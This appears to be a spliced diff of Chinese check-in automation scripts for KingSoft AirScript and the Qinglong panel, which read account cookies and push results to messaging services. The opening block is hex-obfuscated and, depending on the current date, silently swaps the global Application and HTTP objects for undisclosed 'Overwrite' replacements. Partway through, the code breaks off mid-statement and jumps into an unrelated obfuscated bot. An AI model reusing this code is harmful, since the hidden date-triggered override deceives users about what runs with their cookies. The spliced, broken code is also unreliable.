ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "http://shanhe.kim/api/za/tzgsc.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i等级" + _0x286ec0.result.level + "==>总积分" + _0x286ec0.result.totalPoints) : console.log(this.f + " " + _0x286ec0.message + " "); + } +} +!(async () => { + if (!(await checkEnv())) { + return; + } + for (let _0x54fb58 of userList) await _0x54fb58.task(); +})().catch(_0x5695c1 => { + console.log(_0x5695c1); +}).finally(() => {}); +function RT(_0x2172bb, _0x3d8139) { + return Math.round(Math.random() * (_0x3d8139 - _0x2172bb) + _0x2172bb); +} +function times(_0x392abf) { + if (_0x392abf == 10) { + let _0x188efa = Math.round(new Date().getTime() / 1000).toString(); + return _0x188efa; + } else { + let _0x1f5aef = new Date().getTime(); + return _0x1f5aef; + } +} +async function task(_0x2c2732, _0x50f7d9, _0x18696e, _0x5494fa) { + _0x2c2732 == "delete" ? _0x2c2732 = _0x2c2732.toUpperCase() : _0x2c2732 = _0x2c2732; + const _0x47b834 = require("request"); + _0x2c2732 == "post" && (delete _0x18696e["content-type"], delete _0x18696e["Content-type"], delete _0x18696e["content-Type"], safeGet(_0x5494fa) ? _0x18696e["Content-Type"] = "application/json;charset=UTF-8" : _0x18696e["Content-Type"] = "application/x-www-form-urlencoded", _0x5494fa && (_0x18696e["Content-Length"] = lengthInUtf8Bytes(_0x5494fa))); + _0x18696e.Host = _0x50f7d9.replace("//", "/").split("/")[1]; + if (_0x2c2732.indexOf("T") < 0) { + var _0x30c5b2 = { + url: _0x50f7d9, + headers: _0x18696e, + body: _0x5494fa + }; + } else { + var _0x30c5b2 = { + url: _0x50f7d9, + headers: _0x18696e, + form: JSON.parse(_0x5494fa) + }; + } + return new Promise(async _0x289fad => { + _0x47b834[_0x2c2732.toLowerCase()](_0x30c5b2, (_0x2de78e, _0x219fe1, _0x546cb6) => { + try { + LOGS == 1 && (console.log("==================请求=================="), console.log(_0x30c5b2), console.log("==================返回=================="), console.log(JSON.parse(_0x546cb6))); + } catch (_0x96dcbd) {} finally { + !_0x2de78e ? safeGet(_0x546cb6) ? _0x546cb6 = JSON.parse(_0x546cb6) : _0x546cb6 = _0x546cb6 : _0x546cb6 = _0x50f7d9 + " API请求失败,请检查网络重试\n" + _0x2de78e; + return _0x289fad(_0x546cb6); + } + }); + }); +} +function SJS(_0x2e788e) { + _0x2e788e = _0x2e788e || 32; + var _0x2a1d6c = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890", + _0x21ffad = _0x2a1d6c.length, + _0x1c080b = ""; + for (i = 0; i < _0x2e788e; i++) { + _0x1c080b += _0x2a1d6c.charAt(Math.floor(Math.random() * _0x21ffad)); + } + return _0x1c080b; +} +function SJSxx(_0x1f8b54) { + _0x1f8b54 = _0x1f8b54 || 32; + var _0x14d0d7 = "abcdefghijklmnopqrstuvwxyz1234567890", + _0x307e14 = _0x14d0d7.length, + _0x1bef07 = ""; + for (i = 0; i < _0x1f8b54; i++) { + _0x1bef07 += _0x14d0d7.charAt(Math.floor(Math.random() * _0x307e14)); + } + return _0x1bef07; +} +function safeGet(_0x5bca30) { + try { + if (typeof JSON.parse(_0x5bca30) == "object") { + return true; + } + } catch (_0xee7894) { + return false; + } +} +function lengthInUtf8Bytes(_0x400bb3) { + let _0x482334 = encodeURIComponent(_0x400bb3).match(/%[89ABab]/g); + return _0x400bb3.length + (_0x482334 ? _0x482334.length : 0); +} +async function checkEnv() { + let _0x4b8bc4 = process.env[VALY] || CK, + _0x1abb5e = 0; + if (_0x4b8bc4) { + for (let _0x119fdb of _0x4b8bc4.split("&").filter(_0x4a2a4f => !!_0x4a2a4f)) { + userList.push(new Bar(_0x119fdb)); + } + _0x1abb5e = userList.length; + } else { + console.log("\n【" + NAME + "】:未填写变量: " + VALY); + } + console.log("共找到" + _0x1abb5e + "个账号"); + return userList; +} +function wait(_0x5d26ce) { + return new Promise(_0x1a7717 => setTimeout(_0x1a7717, _0x5d26ce)); +} +function stringToBase64(_0x5de683) { + var _0x27a913 = Buffer.from(_0x5de683).toString("base64"); + return _0x27a913; +} +function SHA256(_0x1bdf5d) { + const _0x5b282d = 8, + _0xca3192 = 0; + function _0x2a6233(_0xfca968, _0x2ba273) { + const _0x40c958 = (65535 & _0xfca968) + (65535 & _0x2ba273); + return (_0xfca968 >> 16) + (_0x2ba273 >> 16) + (_0x40c958 >> 16) << 16 | 65535 & _0x40c958; + } + function _0x1e0037(_0x24b6c9, _0x3452ab) { + return _0x24b6c9 >>> _0x3452ab | _0x24b6c9 << 32 - _0x3452ab; + } + function _0x3bfb9d(_0x50aaa2, _0x1d3dbf) { + return _0x50aaa2 >>> _0x1d3dbf; + } + function _0xcf36ef(_0x199d40, _0xaf94b6, _0x1c1069) { + return _0x199d40 & _0xaf94b6 ^ ~_0x199d40 & _0x1c1069; + } + function _0x23114a(_0x35bd40, _0x554bff, _0x5abeba) { + return _0x35bd40 & _0x554bff ^ _0x35bd40 & _0x5abeba ^ _0x554bff & _0x5abeba; + } + function _0x18d67e(_0x16cff9) { + return _0x1e0037(_0x16cff9, 2) ^ _0x1e0037(_0x16cff9, 13) ^ _0x1e0037(_0x16cff9, 22); + } + function _0x2e0fb(_0x205813) { + return _0x1e0037(_0x205813, 6) ^ _0x1e0037(_0x205813, 11) ^ _0x1e0037(_0x205813, 25); + } + function _0xea2e73(_0xce2581) { + return _0x1e0037(_0xce2581, 7) ^ _0x1e0037(_0xce2581, 18) ^ _0x3bfb9d(_0xce2581, 3); + } + return function (_0x2b0322) { + const _0x4efe0e = _0xca3192 ? "0123456789ABCDEF" : "0123456789abcdef"; + let _0x22a715 = ""; + for (let _0x62e4d3 = 0; _0x62e4d3 < 4 * _0x2b0322.length; _0x62e4d3++) { + _0x22a715 += _0x4efe0e.charAt(_0x2b0322[_0x62e4d3 >> 2] >> 8 * (3 - _0x62e4d3 % 4) + 4 & 15) + _0x4efe0e.charAt(_0x2b0322[_0x62e4d3 >> 2] >> 8 * (3 - _0x62e4d3 % 4) & 15); + } + return _0x22a715; + }(function (_0x367953, _0x36b0b2) { + const _0x15f78 = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298], + _0x1c9517 = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225], + _0x36e180 = new Array(64); + let _0x1487ef, _0x19f51a, _0x5554e6, _0xe26b11, _0xc713e4, _0x1da9e5, _0x2334bd, _0x5c631b, _0x5cbac5, _0x12b326, _0xba7344, _0x3f836a; + for (_0x367953[_0x36b0b2 >> 5] |= 128 << 24 - _0x36b0b2 % 32, _0x367953[15 + (_0x36b0b2 + 64 >> 9 << 4)] = _0x36b0b2, _0x5cbac5 = 0; _0x5cbac5 < _0x367953.length; _0x5cbac5 += 16) { + for (_0x1487ef = _0x1c9517[0], _0x19f51a = _0x1c9517[1], _0x5554e6 = _0x1c9517[2], _0xe26b11 = _0x1c9517[3], _0xc713e4 = _0x1c9517[4], _0x1da9e5 = _0x1c9517[5], _0x2334bd = _0x1c9517[6], _0x5c631b = _0x1c9517[7], _0x12b326 = 0; _0x12b326 < 64; _0x12b326++) { + _0x36e180[_0x12b326] = _0x12b326 < 16 ? _0x367953[_0x12b326 + _0x5cbac5] : _0x2a6233(_0x2a6233(_0x2a6233(_0x1e0037(_0x3b1156 = _0x36e180[_0x12b326 - 2], 17) ^ _0x1e0037(_0x3b1156, 19) ^ _0x3bfb9d(_0x3b1156, 10), _0x36e180[_0x12b326 - 7]), _0xea2e73(_0x36e180[_0x12b326 - 15])), _0x36e180[_0x12b326 - 16]); + _0xba7344 = _0x2a6233(_0x2a6233(_0x2a6233(_0x2a6233(_0x5c631b, _0x2e0fb(_0xc713e4)), _0xcf36ef(_0xc713e4, _0x1da9e5, _0x2334bd)), _0x15f78[_0x12b326]), _0x36e180[_0x12b326]); + _0x3f836a = _0x2a6233(_0x18d67e(_0x1487ef), _0x23114a(_0x1487ef, _0x19f51a, _0x5554e6)); + _0x5c631b = _0x2334bd; + _0x2334bd = _0x1da9e5; + _0x1da9e5 = _0xc713e4; + _0xc713e4 = _0x2a6233(_0xe26b11, _0xba7344); + _0xe26b11 = _0x5554e6; + _0x5554e6 = _0x19f51a; + _0x19f51a = _0x1487ef; + _0x1487ef = _0x2a6233(_0xba7344, _0x3f836a); + } + _0x1c9517[0] = _0x2a6233(_0x1487ef, _0x1c9517[0]); + _0x1c9517[1] = _0x2a6233(_0x19f51a, _0x1c9517[1]); + _0x1c9517[2] = _0x2a6233(_0x5554e6, _0x1c9517[2]); + _0x1c9517[3] = _0x2a6233(_0xe26b11, _0x1c9517[3]); + _0x1c9517[4] = _0x2a6233(_0xc713e4, _0x1c9517[4]); + _0x1c9517[5] = _0x2a6233(_0x1da9e5, _0x1c9517[5]); + _0x1c9517[6] = _0x2a6233(_0x2334bd, _0x1c9517[6]); + _0x1c9517[7] = _0x2a6233(_0x5c631b, _0x1c9517[7]); + } + var _0x3b1156; + return _0x1c9517; + }(function (_0x5ae319) { + const _0x25af03 = [], + _0x59befe = (1 << _0x5b282d) - 1; + for (let _0x160818 = 0; _0x160818 < _0x5ae319.length * _0x5b282d; _0x160818 += _0x5b282d) { + _0x25af03[_0x160818 >> 5] |= (_0x5ae319.charCodeAt(_0x160818 / _0x5b282d) & _0x59befe) << 24 - _0x160818 % 32; + } + return _0x25af03; + }(_0x1bdf5d = function (_0x12196e) { + _0x12196e = _0x12196e.replace(/\r\n/g, "\n"); + let _0x32cc3b = ""; + for (let _0x131813 = 0; _0x131813 < _0x12196e.length; _0x131813++) { + const _0x5eff66 = _0x12196e.charCodeAt(_0x131813); + _0x5eff66 < 128 ? _0x32cc3b += String.fromCharCode(_0x5eff66) : _0x5eff66 > 127 && _0x5eff66 < 2048 ? (_0x32cc3b += String.fromCharCode(_0x5eff66 >> 6 | 192), _0x32cc3b += String.fromCharCode(63 & _0x5eff66 | 128)) : (_0x32cc3b += String.fromCharCode(_0x5eff66 >> 12 | 224), _0x32cc3b += String.fromCharCode(_0x5eff66 >> 6 & 63 | 128), _0x32cc3b += String.fromCharCode(63 & _0x5eff66 | 128)); + } + return _0x32cc3b; + }(_0x1bdf5d)), _0x1bdf5d.length * _0x5b282d)); +} +function MD5Encrypt(_0x411801) { + function _0xebbfc6(_0x1d6596, _0x205bae) { + return _0x1d6596 << _0x205bae | _0x1d6596 >>> 32 - _0x205bae; + } + function _0x380581(_0x58ecca, _0x4649e0) { + var _0x37158b, _0x48c532, _0x5779fd, _0x494273, _0x96a8a9; + _0x5779fd = 2147483648 & _0x58ecca; + _0x494273 = 2147483648 & _0x4649e0; + _0x37158b = 1073741824 & _0x58ecca; + _0x48c532 = 1073741824 & _0x4649e0; + _0x96a8a9 = (1073741823 & _0x58ecca) + (1073741823 & _0x4649e0); + return _0x37158b & _0x48c532 ? 2147483648 ^ _0x96a8a9 ^ _0x5779fd ^ _0x494273 : _0x37158b | _0x48c532 ? 1073741824 & _0x96a8a9 ? 3221225472 ^ _0x96a8a9 ^ _0x5779fd ^ _0x494273 : 1073741824 ^ _0x96a8a9 ^ _0x5779fd ^ _0x494273 : _0x96a8a9 ^ _0x5779fd ^ _0x494273; + } + function _0x158610(_0x4419f1, _0x412d83, _0x1b2226, _0x42e4ea, _0x46b4a7, _0x5eff94, _0x542a7e) { + var _0x3324df, _0x1939b8; + _0x4419f1 = _0x380581(_0x4419f1, _0x380581(_0x380581((_0x3324df = _0x412d83) & (_0x1939b8 = _0x1b2226) | ~_0x3324df & _0x42e4ea, _0x46b4a7), _0x542a7e)); + return _0x380581(_0xebbfc6(_0x4419f1, _0x5eff94), _0x412d83); + } + function _0x278aa8(_0x1e6f61, _0x29da1d, _0x2d16a1, _0x21a023, _0x561501, _0x5c53ad, _0xd53b23) { + var _0x3b5dca, _0x38758a, _0x5b2d8f; + _0x1e6f61 = _0x380581(_0x1e6f61, _0x380581(_0x380581((_0x3b5dca = _0x29da1d, _0x38758a = _0x2d16a1, _0x3b5dca & (_0x5b2d8f = _0x21a023) | _0x38758a & ~_0x5b2d8f), _0x561501), _0xd53b23)); + return _0x380581(_0xebbfc6(_0x1e6f61, _0x5c53ad), _0x29da1d); + } + function _0x18e3f4(_0x150f2f, _0x22daac, _0x89a5e4, _0x5b5aa2, _0x1bb038, _0x7caed7, _0x36e73e) { + var _0xe46f52, _0x5a4e96; + _0x150f2f = _0x380581(_0x150f2f, _0x380581(_0x380581((_0xe46f52 = _0x22daac) ^ (_0x5a4e96 = _0x89a5e4) ^ _0x5b5aa2, _0x1bb038), _0x36e73e)); + return _0x380581(_0xebbfc6(_0x150f2f, _0x7caed7), _0x22daac); + } + function _0x22590f(_0xf495bf, _0x3467f1, _0x49b39a, _0x1c0e58, _0xe6626, _0x58eb7c, _0x24fa3d) { + var _0x45c1e2, _0x29d6ce; + _0xf495bf = _0x380581(_0xf495bf, _0x380581(_0x380581((_0x45c1e2 = _0x3467f1, (_0x29d6ce = _0x49b39a) ^ (_0x45c1e2 | ~_0x1c0e58)), _0xe6626), _0x24fa3d)); + return _0x380581(_0xebbfc6(_0xf495bf, _0x58eb7c), _0x3467f1); + } + function _0x1cf88a(_0x49d5c0) { + var _0x72ad13, + _0x2751dc = "", + _0x222495 = ""; + for (_0x72ad13 = 0; 3 >= _0x72ad13; _0x72ad13++) { + _0x2751dc += (_0x222495 = "0" + (_0x49d5c0 >>> 8 * _0x72ad13 & 255).toString(16)).substr(_0x222495.length - 2, 2); + } + return _0x2751dc; + } + var _0x1e1258, + _0x42b638, + _0x1c926e, + _0x4d5a57, + _0xcc86c7, + _0x1b337a, + _0x29e4be, + _0x49cac4, + _0x4a8185, + _0x4a4089 = []; + for (_0x4a4089 = function (_0x3024e4) { + for (var _0x185bbb, _0x26b50e = _0x3024e4.length, _0x220965 = _0x26b50e + 8, _0x3328fe = 16 * ((_0x220965 - _0x220965 % 64) / 64 + 1), _0x3f89b0 = Array(_0x3328fe - 1), _0xe68527 = 0, _0x312b24 = 0; _0x26b50e > _0x312b24;) { + _0x185bbb = (_0x312b24 - _0x312b24 % 4) / 4; + _0xe68527 = _0x312b24 % 4 * 8; + _0x3f89b0[_0x185bbb] = _0x3f89b0[_0x185bbb] | _0x3024e4.charCodeAt(_0x312b24) << _0xe68527; + _0x312b24++; + } + _0x185bbb = (_0x312b24 - _0x312b24 % 4) / 4; + _0xe68527 = _0x312b24 % 4 * 8; + _0x3f89b0[_0x185bbb] = _0x3f89b0[_0x185bbb] | 128 << _0xe68527; + _0x3f89b0[_0x3328fe - 2] = _0x26b50e << 3; + _0x3f89b0[_0x3328fe - 1] = _0x26b50e >>> 29; + return _0x3f89b0; + }(_0x411801 = function (_0x50b1d7) { + _0x50b1d7 = _0x50b1d7.replace(/\r\n/g, "\n"); + for (var _0x2b8994 = "", _0x353651 = 0; _0x353651 < _0x50b1d7.length; _0x353651++) { + var _0x5b6ad7 = _0x50b1d7.charCodeAt(_0x353651); + 128 > _0x5b6ad7 ? _0x2b8994 += String.fromCharCode(_0x5b6ad7) : _0x5b6ad7 > 127 && 2048 > _0x5b6ad7 ? (_0x2b8994 += String.fromCharCode(_0x5b6ad7 >> 6 | 192), _0x2b8994 += String.fromCharCode(63 & _0x5b6ad7 | 128)) : (_0x2b8994 += String.fromCharCode(_0x5b6ad7 >> 12 | 224), _0x2b8994 += String.fromCharCode(_0x5b6ad7 >> 6 & 63 | 128), _0x2b8994 += String.fromCharCode(63 & _0x5b6ad7 | 128)); + } + return _0x2b8994; + }(_0x411801)), _0x1b337a = 1732584193, _0x29e4be = 4023233417, _0x49cac4 = 2562383102, _0x4a8185 = 271733878, _0x1e1258 = 0; _0x1e1258 < _0x4a4089.length; _0x1e1258 += 16) { + _0x42b638 = _0x1b337a; + _0x1c926e = _0x29e4be; + _0x4d5a57 = _0x49cac4; + _0xcc86c7 = _0x4a8185; + _0x1b337a = _0x158610(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 0], 7, 3614090360); + _0x4a8185 = _0x158610(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 1], 12, 3905402710); + _0x49cac4 = _0x158610(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 2], 17, 606105819); + _0x29e4be = _0x158610(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 3], 22, 3250441966); + _0x1b337a = _0x158610(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 4], 7, 4118548399); + _0x4a8185 = _0x158610(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 5], 12, 1200080426); + _0x49cac4 = _0x158610(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 6], 17, 2821735955); + _0x29e4be = _0x158610(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 7], 22, 4249261313); + _0x1b337a = _0x158610(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 8], 7, 1770035416); + _0x4a8185 = _0x158610(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 9], 12, 2336552879); + _0x49cac4 = _0x158610(_0x49cac4, 